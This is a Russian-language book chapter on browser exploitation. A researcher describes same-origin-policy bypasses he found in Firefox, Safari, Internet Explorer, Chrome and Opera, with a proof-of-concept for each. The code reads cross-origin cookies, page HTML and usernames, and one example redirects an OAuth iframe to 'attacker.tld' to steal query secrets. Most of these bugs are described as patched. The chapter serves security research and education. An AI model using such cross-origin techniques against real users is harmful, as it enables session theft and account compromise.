Глава 5. Эксплойты браузера

Введение

У нас не может быть книги о взломе JavaScript без главы об эксплойтах браузера, не так ли? В данной главе я расскажу о различных эксплойтах браузеров, которые я обнаружил за многие годы. Я взламываю браузеры (в основном, в свободное время) уже более 15 лет. За это время мне удалось обнаружить обход SOP (same origin policy - политики того же происхождения) или утечку во всех механизмах основных браузеров.

Взлом браузера это очень узкоспециализированная ниша исследований, но это очень забавно и вы узнаете огромное число моментов, которые сможете применять в прочих областях. Данный раздел не будет иметь хронологического порядка по обнаружению мной ошибки, а вместо этого я начну с простых ошибок и перейду к более сложным обходам SOP.

Неверная обработка Firefox перекрёстных адресов URL

Данная ошибка была чрезвычайно простой и я был удивлён что автоматические тесты Mozilla её не выявили. Я обнаружил её когда проверял окна перекрёстного происхождения. Я создавал новые окна и инспектировал объекты перекрёстного происхождения, глядя в консоль браузера или в свой инспектор Hackvertor. Основная идея состояла в том, чтобы получить ссылку на новое окно после вызова "window.open" и инспекции такого объекта и обнаружить не утекают ли какие- то данные, чего не должно происходить.

Когда вы вызываете window.open, возвращаемое значение это новый объект окна, причём он отличается от обычного объекта окна, к которому вы привыкли. Большое число свойств недоступно и вызывают исключительные ситуации когда вы пытаетесь их считывать. Причины этого очевидны: когда вы открыли окно из иного первоисточника и его объект окна позволил вам считать все свойства, вы способны украсть данные с любого веб сайта, что может приводить к компрометации любой вашей учётной записи.

Данный эксплойт был до неприличия прост: вы открывали новое окно, ждали пять секунд и пытались считать его объект location. Обычно возбуждалась бы исключительная ситуация, но в Firefox они позволяли вам считывать его. Когда я впервые обнаружил эту ошибку, я подумал что проблема состояла в одном из методов RegExp, но оказалось, что вы можете просто считать методом toString() значение location объекта:


1  <script>
2  function poc() {
3      var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=\
4  200');
5      setTimeout(function(){
6          alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
7      }, 5000);
8  }
9  </script>
10 <input type=button value="Firefox knows" onclick="poc()">
 	   

Приведённое выше доказательство концепции открыло новое окно для twitter.com/lists, что повлекло за собой перенаправление на индивидуальный URL. Второе действие выждало 5 секунд, а затем попыталось считать значение объекта location и применить регулярное выражение для получения имени пользователя Twitter. Далее показывается окно предупреждения, которое идентифицирует вас.

Назначения Safari для имён хостов по разным источникам

Раньше взламывать браузеры было намного проще. Данная ошибка Safari демонстрирует это. Она содержит настройку имени хоста объекта location перекрёстного происхождения. Основная проблема состоит в том, что Safari сохранил значение строки запроса и хэш, что очень плохо в отношении безопасности. Если бы данная ошибка была выявлена в наши дни, то наиболее вероятной целью стали бы токены OAuth. Чтобы употребить данную ошибку, вам было необходимо применить новое window или новый iframe, дождаться его загрузки, а затем установить название хоста , после чего домен злоумышленника способен считывать параметры запроса или хэш.


1 <script>
2 function poc(iframe) {
3     var win = iframe.contentWindow;
4     setTimeout(function(){
5         win.location.hostname='attacker.tld'
6     } , 5000);
7 }
8 </script>
9 <iframe src="https://oauth.example.com" onload=poc(this)></iframe>
 	   

Приводимый выше пример кода загружает iframe, который затем выполняет некий вид аутентификации и сохраняет какие- то конфиденциальные сведения в строке запроса. Когда эта страница загружается после перенаправления на свой целевой сайт, вызывается функция poc(), которая получает ссылку на iframe, а затем и на окно содержимого, которое ссылается на window перекрёстного происхождения iframe. Далее, через пять секунд злоумышленник меняет имя хоста iframe чтобы оно указывало на домен злоумышленника. Потом этот злоумышленник просто считывает в своём домене location.search для кражи секретов.


1 <script>
2 var contents = location.search//содержит секреты  строки запроса
3 </script>
 	   

Больше вы не можете выполнять этого в современных браузерах; они разумно препятствуют доступу на чтение/ запись в значения свойств host и hostname.

Полный обход SOP Internet Explorer

Я обнаружил эту ошибку во время выполнения контракта Microsoft на тестирование различных функций IE. Мне нравится эта ошибка, потому как она такая простая, но при этом имеет большое воздействие. Применяя данную ошибку, вы могли выполнять произвольный JavaScript в любом домене. Это связано с окнами и кадрами, которые снова шокируют ужасом. Вы чувствуете здесь некую тему? Произошло то, что IE пропускал конструктор перекрёстного происхождения. Это означает, что конструктору Function разрешено вызываться из иного домена.

Здесь можно задать хороший вопрос: а как вы узнали это? Очень сложно в точности знать что вы внедряете в ином контексте, поскольку браузер не предоставляет API для этого, поэтому лучшее из того что вы можете попытаться сделать, это попытаться получить доступ к свойству объекта, который сообщит вам что данный код исполняется из иного домена. Одним из таких свойств выступает document.domain.


1 foo.constructor.constructor('alert(document.domain)')();
 	   

Применение приведённого выше кода в случае указывающего на иной домен всплывающего предупреждения означает, что вы нашли способ обхода SOP. Однако, как вы увидите позднее в этой главе это не является надёжным способом. Я выявил данную ошибку, играясь с iframe и инспектором Hackvertor. Я просто загрузил iframe и приступил к тестированию всех свойств. С тех пор я написал улучшенный инспектор, который упрощает демонстрацию, поэтому мы будем пользоваться им. Вот основные шаги тестирования:

  1. Посетите Hackability

  2. Отметьте, что некоторые свойства являются перечислимыми

  3. Чтобы пройти далее кликните по каждому свойству

  4. Попытайтесь получить доступ и вызвать конструктор каждого из свойств, применяя описанный ранее метод

Используя данный метод, я обнаружил, что IE пропускает конструктор перекрёстного происхождения для закрытого свойства. Поскольку это значение было булевым, мне пришлось воспользоваться конструктор дважды: один раз для получения булева конструктора и один раз для получения конструктора функции с целью выполнения произвольного кода. Исполняемый код имел полный доступ к объекту окна перекрёстного происхождения, что означало, что вы могли прочитать файл cookie и любое иное свойство DOM. Полный эксплойт выглядел так:


1 <iframe src="https://garethheyes.co.uk"
2 onload="this.contentWindow.closed.constructor.constructor('alert(document.cookie')()\
3 ">
4 </iframe>
 	   

Этот эксплойт не ограничивался кадрами, для проведения этой атаки вы могли использовать новые окна.

Частичная утечка сведений SOP в Chrome

Я обнаружил это совсем недавно. К этому времени я уже взломал механизмы всех основных браузеров, а потому было приятно найти то, что работает в Chrome. Прежде чем я её выявил, эта ошибка была захоронена около пяти лет. Ошибка связана с тем как Chrome обрабатывает document.baseURI когда применяет вложенные кадры из разных подчинённых доменов. При доступе к данному свойству из вложенного iframe значение baseURI сообщается от его родителя, обычно это не имеет большого значения, потому как объект document не доступен из window перекрёстного происхождения, а потому это так долго не выявлялось. Однако данное свойство было возможно получать, что имело результатом раскрытию всего URL межсайтового iframe.

На этот раз для выявления данной ошибки я воспользовался инспектором Hackability. Я экспериментировал с векторами названий окон. Если вы не знаете этого, вы можете установить имя window и получить его из другого домена после определённой навигации. Браузеры пытаются это блокировать чтобы предотвратить раскрытие сведений, но имеющиеся меры не применяются к iframe.

Я загрузил инспектор Hackability, добавил в DOM iframe и указал его на другой субдомен, который также загружал инспектор Hackability. Затем я мог бы применять обе консоли, чтобы проверить, правильно ли защищены окна перекрёстного происхождения. В iframe с перекрёстным происхождением я добавил внутри них ещё один iframe. Затем я попытался прочитать/назначить свойство имени в iframe перекрёстного происхождения. Браузер просто выдавал исключительные ситуации, что, очевидно, было бесполезным, я вспомнил, что вы можете назначить другой URL-адрес для iframe с перекрёстным происхождением, и право владения кадром изменится на источник, вызвавший такое назначение.

Я заменил значение URL вложенного iframe на about:blank и, к своему удивлению, смог прочесть/ записать название его window. Само по себе это не уязвимость, но это тот компонент, который можно применять для достижения более серьёзной ошибки. Это достаточно подходит для их отлова.

Затем я приступил к перечислению объектов window перекрёстного происхождения своего вложенного iframe. Ничто в объекте этого окна не виделось мне полезным, но я вспомнил, что объект document содержит сведения об URL, поэтому я начал перечислять и его. К своему удивлению, свойство document.baseURI отражало неправильный URL, вместо того, чтобы возвращать URL about:blank, оно возвращал своего родителя. Это утечка сведений SOP, поскольку разным источникам нельзя разрешать считывать такие свойства. Сначала я думал, что данная ошибка позволяет вам считывать любой домен, но это не так. Вы могли считывать данные только из разных подчинённых доменов. Это по-прежнему серьёзная ошибка, поскольку, например, у вас может иметься подчинённый домен вложений в почтовом клиенте, а вы хотите запретить ему считывать иной подчинённый домен.

Свойство baseURI фактически возвращает полный URL, а поэтому вы могли считать строку запроса и хэш другого подчинённого домена. Код для начальной страницы был следующим:


 1 index.html:
 2 <script>
 3 onload = function(){
 4     x.contentWindow[0].location = 'about:blank';setTimeout(()=>alert(x.contentWindow\
 5 [0].document.baseURI), 500)
 6 };
 7 </script>
 8 
 9 <iframe id=x src="//subdomain1.portswigger-labs.net/chrome-infoleak-sWpsDfkg9102/tar\
10 get.html"></iframe>
 	   

Это заключённая в кадр страница и, обратите внимание, значение хэша было изменено и имелась возможность его считывания в верхнем кадре из иного источника:


1 target.html:
2 <script>location.hash=1337</script>
3 <iframe src="/foo"></iframe>
 	   

Полный обход SOP Safari

Относительно данной ошибки я сообщил о ней в Apple, но они отклонили её как незначительную проблему, которой нельзя было воспользоваться. Так что я дождался выхода следующей версии Safari и я не спал 23 часа, чтобы попытаться воспользоваться ею. Я не рекомендую вам повторять это, потому что это вредно для здоровья, но в то время я хотел доказать, что Apple ошибается, и я это сделал, что было очень приятно.

Эта ошибка вновь пользуется iframe (вы тоже замечаете здесь шаблон?) с URL about:blank. Когда этот iframe загружается, я получаю ссылку но объект document данного iframe, который затем применяю для записи в этот document другого iframe. Вновь добавленный iframe указывает на иной домен. Для демонстрации данной проблемы я избрал Amazon. Стоить отметить, что это происходило до изобретения Clickjacking и вы могли буквально обрамить кадром любой вебсайт. Затем, после загрузки самого внутреннего кадра, я получаю на него ссылку из внешнего кадра на внутренний. Затем я смог получать cookie и HTML Amazon полностью минуя SOP. Вот данный эксплойт целиком:


 1 <script>
 2 function breakSandbox() {
 3     var doc = window.frames.loader.document;
 4     var html = '';
 5     html += '<p>test</p><iframe src="http://www.amazon.co.uk/" id="iframe" name="ifr\
 6 ame" onload="alert(window.frames.iframe.document.getElementsByTagName(\'body\')[0].i
 7 nnerHTML);alert(window.frames.iframe.document.cookie);"></iframe>';
 8     doc.body.innerHTML = html;
 9 }
10 </script>
11 <iframe src="about:blank" name="loader" id="loader" onload="breakSandbox()"></iframe>
 	   

Годы спустя оглядываясь на данный код, наверное, он может быть существенно уменьшен, а для получения window перекрёстного происхождения можно было бы воспользоваться contentWindow. Тем не менее, это полный обход SOP и применяя данную технику, которой я очень горжусь, вы даже можете выполнять считывание из файловой системы.

Обход SOP Opera

Это моя самая любимая ошибка браузера, из тех, которые я когда-либо находил. Мне нравится эта ошибка, потому как она показывает, как можно неожиданным образом обойти SOP. Помните, ранее в этой главе я говорил, что чтобы определить, есть ли у вас окно из другого источника, вы можете использовать document.domain? Ну, когда я нашёл данную ошибку, она не сработала, я получил исключительную ситуацию браузера, запрещающую доступ к данному объекту. Но это ещё не все. Я обнаружил способ получить произвольное выполнение JavaScript в другом домене, несмотря ни на что.

Я приступил к тестированию Opera. Это была версия Presto до мерцающей развилки. Я воспользовался своим счётчиком Astalanumerator, это было до того как был выпущен инспектор Hackability. Если вы желаете провести собственное тестирование, я рекомендую применять Hackability. Воспользовавшись перечислителем я создал iframe и указал некое внешнее location, затем я перечислил все свойства, причём в contentWindow ничто не выделялось, поэтому я перешёл к объекту location перекрёстного происхождения. Это сразу же привлекло моё внимание, ибо Opera предоставляла гораздо больше свойств по сравнению с прочими браузерами. Если вы самостоятельно выявляете что происходит подобное, это добрый знак того что тут имеются ошибки.

Я проделал свой обычный трюк при помощи constructor.constructor(‘alert(document.domain)’)(), который, к моему удивлению завершился неудачей с возбуждением исключительной ситуации JavaScript. Это неожиданно, потому как обычно, когда у вас имеется конструктор, он всё равно будет выполняться, хотя и в текущем первоначальном контексте, для данного случая такое возбуждение исключительной ситуации дало мне хороший указатель на то, что Opera допускает конструктор перекрёстного происхождения.

Поразмышляв некоторое время об этой исключительной ситуации, я задался вопросом что произойдёт если я воспользуюсь выражением с некоторыми числовыми литералами. Если бы это не вызывало исключительной ситуации, это доказывало бы, что предыдущий код блокируется из-за вызова alert или доступа к document. Разумеется, при вводе constructor.constructor(‘return 1+1’)() я получил 2! В этот момент я был очень взолнован, ибо у меня уже имелась ошибка, но как я мог исполнять произвольный код в другом домене? Опять же, я на некоторое время задумался, раз литералы допустимы, может быть они просто предотвращают доступ к глобальным объектам? Затем я перекрыл метод имевшегося прототипа Array. Важно отметить, я только что определил функцию, которую не собирался вызывать. Для вызова [].join в другом домене я воспользовался консолью браузера, а затем случилось так, что я получил прекрасное alert с содержимым своего внешнего домена. Теперь я представляю себе каково забить гол на чемпионате мира. Я был неимоверно счастлив, что SOP Opera был обойдён полностью. Окончательное доказательство концепции выглядело так:


1 iframe.contentWindow.location.constructor.prototype
2 .__defineGetter__.constructor('[].constructor.
3 prototype.join=function(){alert("PWND:"+document.body.innerHTML)}')();
 	   

Opera допускала утечку конструктора во множестве мест, вышеприведённый эксплойт пользуется объектом location из различных источников для получения свойства __defineGetter__, а поскольку это уже функция, вам нет нужды применять несколько конструкторов. Быть может, вы могли бы сыграть в гольф приведённым выше вектором воспользовавшись __proto__ вместо constructor.prototype, но я просто остался со своей первой успешной попыткой.

Выводы

Надеюсь, вам понравилась это глава, так как мне понравилось её писать. Мне доставляет удовольствие выявлять недостатки в SOP, потому как это реальная техническая задача и вы получаете истинное наслаждение находя их. Я надеюсь, что эта глава вдохновит вас на собственный поиск недостатков в браузерах. Мы рассмотрели неверную обработку Firefox объекта location перекрёстного происхождения, который оказалось тривиально употребить. Затем мы обсудили Safari и то, что допускать присваивание свойств хоста или имени хоста в объекте location это плохая идея. Следующим был IE и элегантный полный обход SOP, который делал возможным выполнение JavaScript в любом домене. Затем шла утечка сведений в Chrome, и я показал, что вы можете выполнять считывание разных URL подчинённых доменов из вложенных iframe. После этого я показал эксплойт для Safari, позволяющий считывать куки и HTML любого домена. Наконец, я завершил своей любимой ошибкой, когда я применял методы прототипа для выполнения произвольного JavaScript всякий раз, когда сайт пользуется одним из встроенных прототипов.